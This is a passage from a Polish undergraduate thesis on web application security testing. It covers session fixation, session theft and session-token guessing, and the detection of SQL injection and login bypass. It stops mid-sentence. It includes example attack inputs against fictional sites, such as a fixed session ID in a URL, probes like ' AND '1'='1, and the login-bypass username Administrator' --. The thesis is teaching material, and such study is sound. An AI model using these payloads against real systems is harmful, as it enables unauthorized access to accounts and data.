Rok akademicki 2012/2013 Politechnika Warszawska Wydział Elektroniki i Technik Informacyjnych Instytut Informatyki PRACA DYPLOMOWA INŻYNIERSKA Maciej Dobrowolski Testowanie bezpieczeństwa aplikacji internetowych Opiekun pracy mgr inż. Paweł Radziszewski Ocena: ..................................................... ................................................................ Podpis Przewodniczącego Komisji Egzaminu Dyplomowego Kierunek: Informatyka Specjalność: Inżynieria Systemów Informatycznych Data urodzenia: 1990.12.24 Data rozpoczęcia studiów: 2009.10.01 Życiorys Urodziłem się 24 grudnia 1990 roku w Warszawie. W roku 2006 ukończyłem gimnazjum przy Zespole Szkół nr 1 w Pruszkowie. Następnie kontynuowałem naukę w Liceum Ogólnokształcącym im. Tadeusza Kościuszki w Pruszkowie. W 2009 roku rozpocząłem studia dzienne na Wydziale Elektroniki i Technik Informacyjnych Politechniki Warszawskiej. W toku studiów wybrałem specjalizację Inżynieria Systemów Informatycznych. ....................................................... Podpis studenta EGZAMIN DYPLOMOWY Złożył egzamin dyplomowy w dniu .................................................................................. 20__ r z wynikiem .................................................................................................................................. Ogólny wynik studiów: ............................................................................................................... Dodatkowe wnioski i uwagi Komisji: ......................................................................................... ...................................................................................................................................................... ...................................................................................................................................................... STRESZCZENIE Niniejsza praca jest poświęcona testom zabezpieczeń aplikacji internetowych, przedstawiono w niej typowe podatności oraz sposoby ich wykorzystania. Częścią praktyczną pracy jest dołączony system symulacji ataków, który pozwala na wykorzystanie większości z opisywanych w pracy podatności na fikcyjnych stronach internetowych. System został podzielony na dwanaście modułów, z których każdy skupia się na innej podatności. W pracy opisane zostały także dołączone do systemu aplikacje pozwalające na automatyzację testów zabezpieczeń aplikacji internetowych. Słowa kluczowe: Bezpieczeństwo, Aplikacje internetowe, Testowanie, SQL, XSS, CSRF Web Application Security Testing This diploma thesis is dedicated to web application security testing, there are presented typical vulnerabilities and their usage. As a part of the practical work, attack-simulation system is included. It allows to use most of described vulnerabilities against fictional websites. The system has been divided into twelve modules, each of which focuses on a different vulnerability. Additionally, description of a few included to system applications, useful for automated security testing of web applications is presented. Keywords: Security, Web applications, Testing, SQL, XSS, CSRF Spis treści Słownik pojęć ......................................................................................................................................................... 2 1 Wstęp ............................................................................................................................................................. 3 1.1 2 Aspekty prawne ...................................................................................................................................... 3 Rodzaje podatności....................................................................................................................................... 7 2.1 Zarządzanie sesjami użytkowników ....................................................................................................... 7 2.1.1 Ustalanie identyfikatora sesji ............................................................................................................ 9 2.1.2 Kradzież identyfikatora sesji ........................................................................................................... 10 2.1.3 Odgadywanie identyfikatora sesji ................................................................................................... 11 2.2 Bazy danych ......................................................................................................................................... 13 2.2.1 Wykrywanie podatności na atak typu Wstrzyknięcie SQL ............................................................. 14 2.2.2 Omijanie logowania – Wstrzyknięcie SQL ..................................................................................... 15 2.2.3 Inne operacje na bazie danych – Wstrzyknięcie SQL ..................................................................... 17 2.3 Ataki typu cross-site............................................................................................................................. 20 2.3.1 Odbite XSS...................................................................................................................................... 20 2.3.2 Składowane XSS ............................................................................................................................. 23 2.3.3 DOM-based XSS ............................................................................................................................. 23 2.3.4 Wykorzystanie ataków XSS ............................................................................................................ 24 2.3.5 Request forgery ............................................................................................................................... 25 2.4 Ataki na przeglądarkę .......................................................................................................................... 29 2.4.1 Zdalne zapisywanie naciśnięć klawiszy w przeglądarce Firefox .................................................... 29 2.4.2 Poznanie historii odwiedzonych stron ............................................................................................. 31 3 4 2.5 Wyszukiwarka Google ......................................................................................................................... 31 2.6 Dobrze znane luki aplikacji internetowych .......................................................................................... 33 Narzędzia i automatyzacja testów ............................................................................................................. 35 3.1 Nikto .................................................................................................................................................... 35 3.2 Fimap................................................................................................................................................... 37 3.3 SQLiX .................................................................................................................................................. 38 Omówienie projektu ................................................................................................................................... 41 4.1 Opis projektu ....................................................................................................................................... 41 4.1.1 Ćwiczenia dołączone do SSA.......................................................................................................... 41 4.2 Wymagania .......................................................................................................................................... 45 4.2.1 Wymagania niefunkcjonalne ........................................................................................................... 46 4.2.2 Wymagania funkcjonalne ................................................................................................................ 49 4.3 Decyzje projektowe .............................................................................................................................. 54 4.3.1 Architektura systemu....................................................................................................................... 54 4.4 Implementacja ..................................................................................................................................... 56 4.4.1 System Symulacji Ataków .............................................................................................................. 56 4.4.2 System operacyjny typu „Live-CD” ................................................................................................ 62 5 Podsumowanie ............................................................................................................................................ 65 6 Bibliografia ................................................................................................................................................. 67 1 Słownik pojęć Pojęcie JS Opis Java Script – język skryptowy często stosowany na stronach WWW. XSS Cross-Site Scripting (patrz 2.3). CSRF Cross-Site Request Forgery (patrz. 2.3.5). OSRF On-Site Request Forgery (patrz. 2.3.5). SQL Injection Wstrzyknięcie kodu SQL (patrz 2.2) Live-CD System operacyjny zainstalowany na nośniku z własnym programem rozruchowym, umożliwiającym uruchomienie go w pamięci RAM, bez potrzeby instalowania na dysku twardym komputera. 2 1 Wstęp Codziennie setki milionów osób korzystają z Internetu, zgodnie z raportem firmy Sandvine [1] za pierwszą połowę roku 2012 protokół HTTP wygenerował nieco ponad 16% całego ruchu internetowego. Użytkownicy Internetu nie zdają sobie sprawy z niebezpieczeństwa w nim drzemiącego. Utrata nie tylko prywatności, ale także pieniędzy, czy też tożsamości, to w Internecie codzienność. Mając na uwadze wspomniany fakt, organizacje, które udostępniają swoje zasoby przez protokół HTTP, zwracają uwagę na to, że nawet kilka godzin niedostępności w Internecie, bądź też wyciek danych może skutkować ogromnymi stratami finansowymi. Coraz popularniejsze stają się testy penetracyjne aplikacji internetowych, a wraz ze wzrostem stopnia skomplikowania tych aplikacji, pojawia się także nowa specjalizacja w testach penetracyjnych – zajmująca się tylko technologiami webowymi. Testy zabezpieczeń odgrywają bardzo istotną rolę w procesie testowania samej aplikacji internetowej. Atakujący mogą uzyskać dostęp do takich elementów jak system operacyjny maszyny, bądź też baza danych, z której korzysta aplikacja. W przypadku takiej kompromitacji mogą wyciec prywatne dane, w tym hasła użytkowników, ale także inne treści, które nie są przeznaczone dla nieupoważnionych osób – skutki mogą być katastrofalne. W Internecie można znaleźć wiele różnych systemów, które mogą ułatwić poznanie praktycznej strony testów zabezpieczeń aplikacji internetowych, jednak brakuje pozycji polskojęzycznych oraz takich, które są przeznaczone dla użytkowników z podstawową wiedzą z omawianego tematu. W związku z tym, celem niniejszej pracy jest stworzenie narzędzia dydaktycznego, które pozwoli przetestować podstawowe podatności aplikacji internetowych w praktyce. 1.1 Aspekty prawne Osoby, które chcą poznać tajniki testowania zabezpieczeń nie tylko w teorii, ale także w praktyce, mają bardzo ograniczone pole działania, ponieważ sprawdzając swoją wiedzę w sieci Internet są narażone na liczne konsekwencje prawne. Kodeks karny przewiduje cały katalog przepisów dotyczących naruszeń w sferze informatycznej. Przewiduje on najwyższą karę w postaci 8 lat więzienia za przestępstwa związane z tematyką pracy: Art. 267. § 1. Kto bez uprawnienia uzyskuje dostęp do informacji dla niego nieprzeznaczonej, otwierając zamknięte pismo, podłączając się do sieci 3 telekomunikacyjnej lub przełamując albo omijając elektroniczne, magnetyczne, informatyczne lub inne szczególne jej zabezpieczenie, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2. § 2. Tej samej karze podlega, kto bez uprawnienia uzyskuje dostęp do całości lub części systemu informatycznego. § 3. Tej samej karze podlega, kto w celu uzyskania informacji, do której nie jest uprawniony, zakłada lub posługuje się urządzeniem podsłuchowym, wizualnym albo innym urządzeniem lub oprogramowaniem. § 4. Tej samej karze podlega, kto informację uzyskaną w sposób określony w § 1-3 ujawnia innej osobie. Art. 268. § 1. Kto, nie będąc do tego uprawnionym, niszczy, uszkadza, usuwa lub zmienia zapis istotnej informacji albo w inny sposób udaremnia lub znacznie utrudnia osobie uprawnionej zapoznanie się z nią, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2. § 2. Jeżeli czyn określony w § 1 dotyczy zapisu na informatycznym nośniku danych, sprawca podlega karze pozbawienia wolności do lat 3. § 3. Kto, dopuszczając się czynu określonego w § 1 lub 2, wyrządza znaczną szkodę majątkową, podlega karze pozbawienia wolności od 3 miesięcy do lat 5. Art. 268a. § 1. Kto, nie będąc do tego uprawnionym, niszczy, uszkadza, usuwa, zmienia lub utrudnia dostęp do danych informatycznych albo w istotnym stopniu zakłóca lub uniemożliwia automatyczne przetwarzanie, gromadzenie lub przekazywanie takich danych, podlega karze pozbawienia wolności do lat 3. § 2. Kto, dopuszczając się czynu określonego w § 1, wyrządza znaczną szkodę majątkową, podlega karze pozbawienia wolności od 3 miesięcy do lat 5. Art. 269. § 1. Kto niszczy, uszkadza, usuwa lub zmienia dane informatyczne o szczególnym znaczeniu dla obronności kraju, bezpieczeństwa w komunikacji, funkcjonowania administracji rządowej, innego organu państwowego lub instytucji państwowej albo samorządu terytorialnego albo zakłóca lub uniemożliwia automatyczne przetwarzanie, gromadzenie lub przekazywanie takich danych, podlega 4 karze pozbawienia wolności od 6 miesięcy do lat 8. § 2. Tej samej karze podlega, kto dopuszcza się czynu określonego w § 1, niszcząc albo wymieniając informatyczny nośnik danych lub niszcząc albo uszkadzając urządzenie służące do automatycznego przetwarzania, gromadzenia lub przekazywania danych informatycznych. Art. 269a. Kto, nie będąc do tego uprawnionym, przez transmisję, zniszczenie, usunięcie, uszkodzenie, utrudnienie dostępu lub zmianę danych informatycznych, w istotnym stopniu zakłóca pracę systemu komputerowego lub sieci teleinformatycznej, podlega karze pozbawienia wolności od 3 miesięcy do lat 5. Art. 269b. § 1. Kto wytwarza, pozyskuje, zbywa lub udostępnia innym osobom urządzenia lub programy komputerowe przystosowane do popełnienia przestępstwa określonego w art. 165 § 1 pkt 4, art. 267 § 3, art. 268a § 1 albo § 2 w związku z § 1, art. 269 § 2 albo art. 269a, a także hasła komputerowe, kody dostępu lub inne dane umożliwiające dostęp do informacji przechowywanych w systemie komputerowym lub sieci teleinformatycznej, podlega karze pozbawienia wolności do lat 3. § 2. W razie skazania za przestępstwo określone w § 1, sąd orzeka przepadek określonych w nim przedmiotów, a może orzec ich przepadek, jeżeli nie stanowiły własności sprawcy. [2] W treści kodeksu karnego można dostrzec wyraźną różnicę pomiędzy zwykłym uzyskaniem dostępu do atakowanej maszyny, a ingerencję w jej działanie, jednak często próba uzyskania dostępu może wiązać się z zawieszeniem zdalnego systemu. Dlatego praca testera bezpieczeństwa jest dość ryzykownym zajęciem i zawsze, przed podjęciem jakichkolwiek działań, powinien się on upomnieć o stosowny dokument upoważniający go do przeprowadzenia testu. Dokument, o którym mowa określa się mianem dozwolonego zakresu działań (ang. Authorized Scope) i jest to jedyny dokument, dzięki któremu można nie pójść do więzienia, czyli uniknąć kary. Dozwolony zakres działań powinien zostać podpisany przez zleceniodawcę i zawierać dane dotyczące adresów IP oraz aplikacji, do których ataku daje upoważnienie. Dokument 5 powinien zostać dostarczony wraz z dokładnym zakresem prac, który może obejmować tylko zbadanie podatności, albo też wykorzystanie ich i dalszą eskalację włamania. Może się zdarzyć tak, że zleceniodawca nie ujawni w dokumencie adresów IP serwerów, na których uruchomione są aplikacje, które są jego własnością, a zaznaczy tylko, że atakujący ma prawo do ataku na wszystkie posiadane przez niego serwery, co bardziej przypomina realne warunki ataku. Tester bezpieczeństwa powinien poradzić sobie ze zdobyciem niezbędnych adresów oraz ich późniejszą weryfikacją, w celu sprawdzenia, czy oby na pewno należą one do klienta i leżą w dozwolonym zakresie jego działań, jednak w razie wątpliwości ma on prawo skontaktować się ze zleceniodawcą i poprosić o wewnętrzną weryfikację – bezpieczeństwo testera jest najważniejsze. 6 2 Rodzaje podatności Wśród wektorów ataków na strony internetowe można wyróżnić kilka najpopularniejszych, poniżej zostały przedstawione ich opisy wraz z zarysem teoretycznym, wyjaśniającym jak działają i przez co są spowodowane. Większość luk w zabezpieczeniach powstaje w wyniku niedopatrzeń programistów, bądź też założeń, że dana sytuacja nigdy się nie wydarzy – niestety jest to błędne założenie, w systemie produkcyjnym należy dopuścić każdą możliwość i się przed nią stosownie zabezpieczyć. W niniejszym rozdziale zostaną omówione głownie ataki, których możliwość zastosowania wynika z niedopatrzeń programistów. 2.1 Zarządzanie sesjami użytkowników Zarządzanie sesjami jest krytycznym mechanizmem w większości aplikacji internetowych. Pozwala ono na jednoznaczne zidentyfikowanie żądań użytkownika pośród wielu innych oraz przechowywanie danych, które świadczą o jego stanie interakcji z aplikacją. Z racji odgrywania głównej roli w zabezpieczeniu konta użytkownika, mechanizm zarządzania sesją jest często głównym celem ataku – jeżeli włamywacz może naruszyć elementy sesji, może także obejść mechanizmy logowania i podszywać się pod dowolnego użytkownika (nawet administratora), nie znając nawet jego danych autentykacyjnych. Pierwsze dokumenty opisujące protokół HTTP sięgają roku 1991, kiedy jeszcze nikt nie myślał o tym, jak szybko rozwinie się sieć internetowa i do jak zaawansowanych funkcji będzie używany ten protokół. Strony internetowe miały mieć statyczną zawartość i protokół miał służyć tylko do ich publikowania. Nie było potrzeby przechowywania stanu transakcji, ponieważ każda z nich miała być autonomiczna – użytkownik miał żądać stronę, a serwer miał ją udostępnić. Protokół został zaprojektowany z tą myślą i dlatego jest bezstanowy, co oznacza, że opiera się na prostym modelu zapytanie-odpowiedź, w którym każda para wiadomości jest niezależną transakcją. Dziś duża część stron internetowych może być postrzegana jako aplikacje internetowe, można się na nich zarejestrować i mieć własne konto, pozwalają kupować przedmioty, dokonywać płatności internetowych, a nawet doglądać swoich spraw w rządowych organizacjach. Do zaimplementowania tak złożonych mechanizmów zaistniała potrzeba przechowywania stanu transakcji, pojawił się koncept sesji. Najbardziej oczywistym zastosowaniem sesji jest obsługa logowania i utrzymanie jego stanu pomiędzy kolejnymi stronami przeglądanymi w aplikacji, bez nich użytkownik musiałby 7 wpisywać na każdej kolejnej stronie swoje dane, co nie było by ani wygodne, ani bezpieczne. Dlatego po zalogowaniu tworzona jest sesja, która jednoznacznie reprezentuje użytkownika, któremu udało się przejść przez proces logowania i trwa ona aż do jej zamknięcia, bądź też wygaśnięcia z powodu długiego czasu nieaktywności. Oprócz najbardziej oczywistego zastosowania, sesje są jeszcze wykorzystywane w miejscach, gdzie nie trzeba się logować. Dobrym przykładem może być sklep internetowy, w którym można dodać kolejne produkty do wirtualnego koszyka, którego stan jest zachowywany pomiędzy przejściami na kolejne strony sklepu. Najprostszym i najbardziej popularnym sposobem identyfikacji użytkownika jest przypisanie mu unikalnego identyfikatora (znacznika). Przy każdym kolejnym żądaniu użytkownik przesyła swój znacznik, pozwalając aplikacji się zidentyfikować. Często stosowanym sposobem na przesłanie identyfikatora sesji jest używanie mechanizmu ciasteczek (ang. cookies). Jest to mała porcja danych przesłana przez stronę internetową i zapisana w przeglądarce internetowej. Kiedy użytkownik przegląda kolejną podstronę w danej domenie, dane z ciasteczka są przesyłane w żądaniu HTTP z powrotem do strony. Przesyłanie identyfikatora sesji może się również odbywać przy pomocy pól ukrytych na stronie internetowej, co jest niewygodnym rozwiązaniem, ponieważ przy każdym przejściu na kolejną podstronę użytkownik musi przesyłać formularz, co komplikuje implementację aplikacji. Kolejnym sposobem jest parametryzowanie adresów URL, jeżeli użytkownik przechodzi na kolejne podstrony to do adresu strony doklejany jest parametr będący identyfikatorem sesji (metoda przesyłania parametrów GET). Oczywiście na rynku nie brakuje rozwiązań hybrydowych, które wykorzystują jednocześnie wszystkie z tych mechanizmów, czyniąc identyfikator sesji trudnym do odkrycia. Alternatywą dla sesji mogą być dwie technologie: HTTP Authentication – aplikacje używające tego mechanizmu nie muszą korzystać z sesji, przy każdym kolejnym żądaniu przeglądarka internetowa dołącza specjalny nagłówek Authorization, po którym następują zakodowane dane do logowania. W najprostszej wersji określonej mianem Basic. Tworzony jest ciąg znaków będący konkatenacją nazwy użytkownika, średnika i hasła. Tak uzyskany ciąg znaków jest 8 kodowany przy użyciu base64 i wysyłany przy każdym żądaniu strony. Nietrudno zauważyć, że takie rozwiązanie nie gwarantuje bezpieczeństwa, ponieważ kod base64 bardzo łatwo odwrócić i uzyskać z powrotem dane do logowania (celem zastosowania base64 nie było bezpieczeństwo, ale wyeliminowanie możliwości pojawienia się znaków, które mogły by się źle przetwarzać). Z tego powodu autoryzacja przy użyciu HTTP Basic Authorization powinna służyć głównie do stron zabezpieczonych protokołem HTTPS. Inny wariant HTTP Authentication - Digest jest bardziej bezpieczny, ponieważ oferuje tworzenie skrótów md5, które nie są łatwo-odwracalne. Wadą tej technologii jest fakt, że bardzo mało przeglądarek internetowych potrafi się wylogować z tak rozpoczętej transakcji – z reguły należy zamknąć przeglądarkę. Stanowe mechanizmy bezsesyjne – niektóre aplikacje przechowują wszystkie niezbędne dane po stronie klienta. Do takich danych mogą należeć: nazwa użytkownika, hasło i inne ustawienia zależne od aplikacji. Dane przechowywane po stronie klienta są oczywiście w ciasteczkach, chociaż zdarzają się aplikacje, które dane te ukrywają w polach formularzy. Zastosowanie takiego mechanizmu wymaga to używania dodatkowej ochrony danych w postaci HTTPS. Jeżeli atakującemu uda się w jakiś sposób przejąć sesję innego zalogowanego użytkownika, to w zależności od aplikacji z której korzysta dany użytkownik, atakujący może podszyć się pod niego i uzyskać dostęp do prywatnych danych należących do prawowitego właściciela, lub nawet podejmować w jego imieniu pewne działania. 2.1.1 Ustalanie identyfikatora sesji Ustalanie identyfikatora sesji (ang. session fixation) to prosty atak pozwalający atakującemu przejąć sesję użytkownika w dość specyficzny sposób. Polega on na przypisaniu, wygenerowanego przez atakującego, identyfikatora sesji do sesji prawowitego użytkownika. Atak może być skuteczny tylko wtedy, kiedy dana aplikacja nie weryfikuje przydzielanych identyfikatorów sesji, a jedynie nadaje im losowe, bądź sekwencyjne symbole. Jeżeli po podmianie identyfikatora sesji na własny np. 1234567890, aplikacja zachowa identyfikator i pozwoli się zalogować, zachowując uprzednio nadany identyfikator to jest podatna na atak. Wystarczy zmusić danego użytkownika, do zalogowania się na swoje konto, po wejściu na stronę poprzez spreparowany adres URL, bądź formularz. 9 Poniżej przedstawiono kilka technik pozwalających wykonać atak na aplikacje przechowujące identyfikatory sesji w wymienionych miejscach, warunkiem koniecznym do wykonania ataku jest podatność danej aplikacji na atak typu Ustalenie identyfikatora sesji: Identyfikator sesji jako argument URL Należy wysłać ofierze adres URL ze spreparowanym identyfikatorem sesji, np. gdy dobry adres wygląda następująco: http://adres-strony.pl/?SID=LPynlo5X2Ii1GidNmwaufTZAk1jdmNnI Należy podmienić identyfikator „LPynlo5X2Ii1GidNmwaufTZAk1jdmNnI” na własny np. „ToJestAtakSessionFixation”: http://adres-strony.pl/?SID=ToJestAtakSessionFixation Gdy ofiara zaloguje się na swoje konto, to z dużą dozą prawdopodobieństwa atakujący będzie mógł wejść pod ten sam adres (z wcześniej ustalonym identyfikatorem sesji) będąc już zalogowanym jako ofiara. Identyfikator sesji jako dane zapisane w ciasteczku Ta technika wymaga od atakującego użycia jeszcze jednego typu ataku – XSS, należy ukryć złośliwy kod podmieniający wartość ciasteczka (funkcja w JavaScript - document.cookie) strony znajdującej się w obrębie aplikacji, z której korzysta ofiara. Następnie ofiara zostanie wylogowana (identyfikator sesji zmienił się) i po ponownym zalogowaniu się, do wcześniej ustalonego identyfikatora sesji przypisze się aktywna sesja użytkownika. 2.1.2 Kradzież identyfikatora sesji Podatność na kradzież identyfikatora sesji występuje w aplikacjach, które nie weryfikują dodatkowo klientów, którzy wysyłają swoje identyfikatory sesji w żądaniu. Nowoczesne i bezpieczne aplikacje internetowe nie tylko sprawdzają czy dany identyfikator sesji jest poprawny, ale także czy poprzednie żądanie pochodzi z tego samego źródła. Weryfikacja taka może zostać przeprowadzona na kilka sposobów – przeglądarki internetowe wysyłają szereg wiadomości o sobie oraz o maszynie na jakiej działają. Oprócz tych danych, serwisy internetowe mają także do dyspozycji adresy IP klientów, (chociaż w dobie pustej puli wolnych adresów IPv4 i dużego rozpowszechnienia technologii NAT (maskarada, ang. Network Address Translation) nie jest to zbyt dobry wyznacznik. 10 Jeśli aplikacja internetowa nie stosuje wyżej opisanej podwójnej weryfikacji to jest podatna na atak typu kradzież identyfikatora sesji. Scenariusz ataku jest bardzo podobny do „Ustalanie identyfikatora sesji” z różnicą, iż to nie atakujący narzuca identyfikator ofierze, ale ofiara sama zdobywa prawidłowy identyfikator sesji, a następnie przesyła go atakującemu. Istnieje wiele sposobów na przeprowadzenie pomyślnej kradzieży znacznika sesji, jednak sam identyfikator może znajdować się w wielu miejscach – dlatego atakujący powinien wiedzieć nie tylko czego szukać, ale i gdzie. Jeśli miejsce przechowywania identyfikatora sesji jest znane, to w zależności od niego atakujący może przygotować atak XSS i wykraść znacznik. W skrajnych przypadkach pomaga zastosowanie socjotechniki, co wymaga jednak kontaktu z ofiarą. 2.1.3 Odgadywanie identyfikatora sesji Zanim identyfikator sesji zostanie przypisany do danego użytkownika – aplikacja musi go wygenerować. Do generacji można użyć kilku sposobów: 1. Uzależnić identyfikator od pewnych danych (np. dane użytkownika). 2. Wylosować pewną liczbę znaków, dostatecznie długą, aby powtórzenie miało małą szansę wystąpienia. 3. Połączyć generację ciągu pseudolosowych znaków z pewnymi danymi użytkownika. Po przypisaniu identyfikatora należy w jakiś sposób sprawdzać, czy kolejne żądania HTTP z danym znacznikiem sesji są przypisane do jakiegoś użytkownika i wykonywać w jego kontekście pewne akcje. Z tej czynności wynika konieczność przechowywania pewnych danych po stronie serwera (na przykład znacznik sesji i identyfikator użytkownika). Jednak jeśli programista uzależni generację identyfikatora sesji tylko od danych użytkownika (sposób pierwszy) to w praktyce nie musi on przechowywać w bazie identyfikatorów sesji. Atak opisywany w tym podrozdziale zakłada generację znaczników sesji w sposób, który został oznaczony jedynką. Przewidzenie identyfikatora sesji innego użytkownika może być zadaniem nietrywialnym, jest to zadanie manualne i wymagające podejścia detektywistycznego. Należy zbadać dokładnie na jakiej zasadzie generowane są znaczniki i gdy uda się rozpracować ten mechanizm – atak będzie przeprowadzony z sukcesem. 11 Dokładna analiza problemu generowania identyfikatorów sesji leży poza zakresem tej pracy, jednak istnieje kilka uniwersalnych kroków, które mogą odnieść pożądany skutek: 1. Należy na podstawie kolejnych zapytań wydedukować, gdzie przechowywany jest identyfikator sesji – mogą to być trzy miejsca (czasami występują jednocześnie, a identyfikator sesji może być ich konkatenacją): a. Parametr zawarty w adresie URL. b. Ukryte pole formularza na stronie. c. Zawartość ciasteczek. 2. Krok powinien zostać wykonany iteracyjnie dla każdego pola formularza np. rejestracyjnego (podczas tworzenia nowego konta): a. Należy stworzyć kilka kont w badanej aplikacji i przechwycić ich znaczniki, każda rejestracja powinna zostać wykonana przy podaniu podobnych danych, jednak różniących się od siebie jedną literą np. AAAA, AAAB, CAAA. b. Należy przeanalizować znaczniki pod kątem występowania podobnych danych. c. Jeżeli znaczniki mają wspólne sekwencje znaków to można sądzić, iż znacznik nie jest kodowany, a jedynie zapisany przy użyciu pewnej funkcji np. XOR, bądź też zapisany jako kod ASCII w reprezentacji znaków heksadecymalnych. Jeżeli zaś dane są za każdym razem inne to można sądzić, że zostało zastosowane kodowanie. Popularną metodą kodowania jest zapis w base64 – ciąg jest wtedy zakończony znakiem „=”. 3. Gdy uda się doprowadzić do znajomości chociażby części metody generowania znacznika, to być może jest to wystarczająca wiedza do przeprowadzenia ataku, należy podmienić odpowiednie pola danymi z innego zarejestrowanego przez testera konta. 4. Jeżeli poprzedni krok poskutkował zmianą zalogowanego użytkownika na konto, do którego dane zostały podane w znaczniku to atak został przeprowadzony z sukcesem. W znacznikach często występują takie ciągi znaków jak: Stałe wartości Wartości zależne od czasu Rosnące sekwencje Dane użytkownika (np. część nazwy użytkownika). 12 Uwaga Duże serwisy coraz częściej implementują dodatkowe zabezpieczenia, takie jak sprawdzanie adresu IP przy kolejnych żądaniach, jeśli się on zmieni, to następuje wylogowanie. 2.2 Bazy danych W dzisiejszych czasach niemal wszystkie aplikacje internetowe korzystają z baz danych. Większość tych aplikacji musi przechowywać dane, które przetwarza, bądź też po prostu wyświetla. W wielu przypadkach baza danych odgrywa istotną rolę w kierowaniu logiką aplikacji, są w niej przetrzymywane ustawienia aplikacji, dane kont użytkowników, uprawnienia i wiele innych ważnych danych, które niejako sterują aplikacją. Jeżeli atakujący jest w stanie wpłynąć na współpracę aplikacji z bazą danych, tak aby odczytać inne niż zamierzone dane, bądź też zmodyfikować dane wpisy, to zwykle może także ominąć system zabezpieczeń. Atakujący często nie chcą uzyskać dostępu do panelów administracyjnych, lub innych kont – cennym łupem okazują się także zrzuty tabel przechowujących dane użytkowników takie jak nazwa użytkownika, skrót hasła, adres email. Na nielegalnych forach zajmujących się tematyką bezpieczeństwa komputerowego można co jakiś czas znaleźć oferty sprzedaży konkretnych danych związanych z jednym użytkownikiem, jak i całe zrzuty tabel. Jak się okazuje, duża część użytkowników Internetu korzysta z tych samych haseł w wielu serwisach internetowych, dlatego złamanie skrótu hasła może okazać się furtką do dalszej eskalacji włamania. Najpopularniejszym atakiem, który umożliwia dostęp do bazy danych, jest niewątpliwie Wstrzyknięcie SQL (ang. SQL Injection). Atak polega na odpowiedniej modyfikacji zapytania, które aplikacja stosuje do bazy danych, tak, aby umieścić tam swoje polecenia i wykonywać dowolne operacje na bazie danych. Omawiany atak ma kilka wad – przede wszystkim często nie jest znany silnik bazy danych, z której korzysta aplikacja. Co więcej, atakujący nie wie jakie tabele może w znaleźć w bazie. Atak Wstrzyknięcie SQL i jego wykorzystanie zostanie w tym rozdziale. 13 2.2.1 Wykrywanie podatności na atak typu Wstrzyknięcie SQL Najprostszym sposobem na wykrycie podatności typu Wstrzyknięcie SQL jest postępowanie według poniższego algorytmu: 1. Wejść na stronę internetową na której działa aplikacja. 2. Znaleźć wszystkie pola (także ukryte), które są wysyłane w żądaniu do aplikacji (zarówno metodą POST, jak i GET). 3. Zastanowić się, które ze znalezionych pól są wykorzystywane do zapytań do bazy danych, jaki jest cel tego zapytania i jak może ono wyglądać. 4. Dla każdego wybranego w poprzednim kroku pola wykonać następujące kroki: a. Wpisać wartość, która może powodować błąd w składni zapytania (np. znak ‘ ). b. Spróbować znaleźć anomalie w odpowiedzi aplikacji i zastanowić się, czy mogą one być skutkiem poprzedniego kroku i czy można je wykorzystać. 5. Jeżeli znaleziono pola, których modyfikacja odpowiednią wartością powoduje anomalie w odpowiedzi to możliwe, że aplikacja jest podatna na ten typ ataku. Dla przykładu, na fikcyjnej stronie internetowej wybieranie artykułów, które czyta jej użytkownik polega na zmianie identyfikatora id w adresie URL (żądanie z parametrem GET) strony, czyli: http://strona-z-artykulami.cc/czytajartykul.php?id=22 Identyfikator aktualnie czytanego artykułu to 22, adresem do innego artykułu (np. o numerze 534) może być: http://strona-z-artykulami.cc/czytajartykul.php?id=534 Anomalią w działaniu aplikacji może być zastąpienie identyfikatora 534 wyrażeniem matematycznym „533+1”. Jeżeli aplikacja wyświetli ten sam artykuł, to znaczy ze istnieje podatność typu Wstrzyknięcie SQL i jest bardzo prawdopodobne, że uda się ją wykorzystać. Kolejnym testem może być dopisanie do identyfikatora wyrażenia, które zawsze jest prawdziwe, zachowując przy tym poprawną formę zapytania SQL: http://strona-z-artykulami.cc/czytajartykul.php?id=534’ AND ‘1’=’1 14 Jeżeli ponownie został wyświetlony ten sam artykuł, to także można mieć pewność, że podatność istnieje i na pewno uda się ją wykorzystać. Algorytm opisuje sprawdzanie każdego pola po kolei, dzieje się tak dlatego, że zależnie od konwencji przyjętej przez programistę, często każde pole walidowane jest oddzielnie – możliwe, że nawet jeżeli programista waliduje treść pól, to mógł zapomnieć o jednym z nich. 2.2.2 Omijanie logowania – Wstrzyknięcie SQL Jeśli logika aplikacji, odpowiedzialna za autentykacje użytkownika, jest zależna od wyniku zapytania zadanego bazie danych, to jeśli atakujący mógłby odpowiednio zmienić zapytanie, to mógłby także ominąć zabezpieczenia i zalogować się na dowolne konto. Poniżej przedstawiono przykład zapytania, które pewna aplikacja stosuje do bazy danych, aby sprawdzić, czy użytkownik podał dobre dane do logowania. SELECT user_id FROM users WHERE user_login = ‘Administrator’ AND user_password = ‘dc0c95554435eb1e82c1bb7b8b40a980’ Powyższe zapytanie jest wynikiem algorytmu: 1. Pobierz dane wpisane przez użytkownika. 2. Przygotuj szablon zapytania: SELECT user_id FROM users WHERE user_login = ‘%1’ AND user_password = ‘%2’ 3. Zastąp %1 loginem użytkownika. 4. Zastąp %2 skrótem hasła (MD5) użytkownika. Jeżeli takie zapytanie zwróci niepusty wynik, to znaczy, że taki użytkownik istnieje w bazie danych i jego dane do logowania są dobre, dlatego zaraz po tym następuje nadanie użytkownikowi odpowiednich praw. Znając podstawy języka SQL można wprowadzić pewną zmianę do szablonu zapytania, tak aby zapytanie działało inaczej. 15 W omawianym przykładzie pole oznaczone symbolem %2 nie nadaje się do modyfikacji, ponieważ treść wpisana przez użytkownika jest przetwarzana przez funkcję skrótu i zawiera tylko określone znaki, jednak pole %1 daje dużo większe możliwości ataku. Jeżeli w formularzu internetowym, wpisze: Zaloguj się do bezpiecznego systemu Nazwa użytkownika: Administrator’ -- Hasło: HasłoKtóreNieZostanieSprawdzone Rysunek 1. Panel logowania systemu podatnego na atak Wstrzyknięcie SQL To zapytanie, które powstanie w wyniku działania powyższego algorytmu przybierze postać: SELECT user_id FROM users WHERE user_login = ‘Administrator’ -- ‘ AND user_password = ‘cddca8d8cdef7717b5bb8f4455f94f7b’ Zapytanie zwróci oczekiwany wynik, pod warunkiem, że w systemie istnieje konto o nazwie „Administrator”. Sprawdzenia hasła użytkownika nie będzie – szarym kolorem została oznaczona część zapytania, która została zakomentowana i interpreter bazy danych ją ominie. Przedstawiony sposób nie jest uniwersalny i nie działa na każdej stronie internetowej oferującej mechanizm logowania, w którym sprawdza się dane użytkownika na podstawie wpisu w bazie danych. Programiści są świadomi możliwości nielegalnego wykorzystania jakichkolwiek pól, których zawartość jest przesyłana 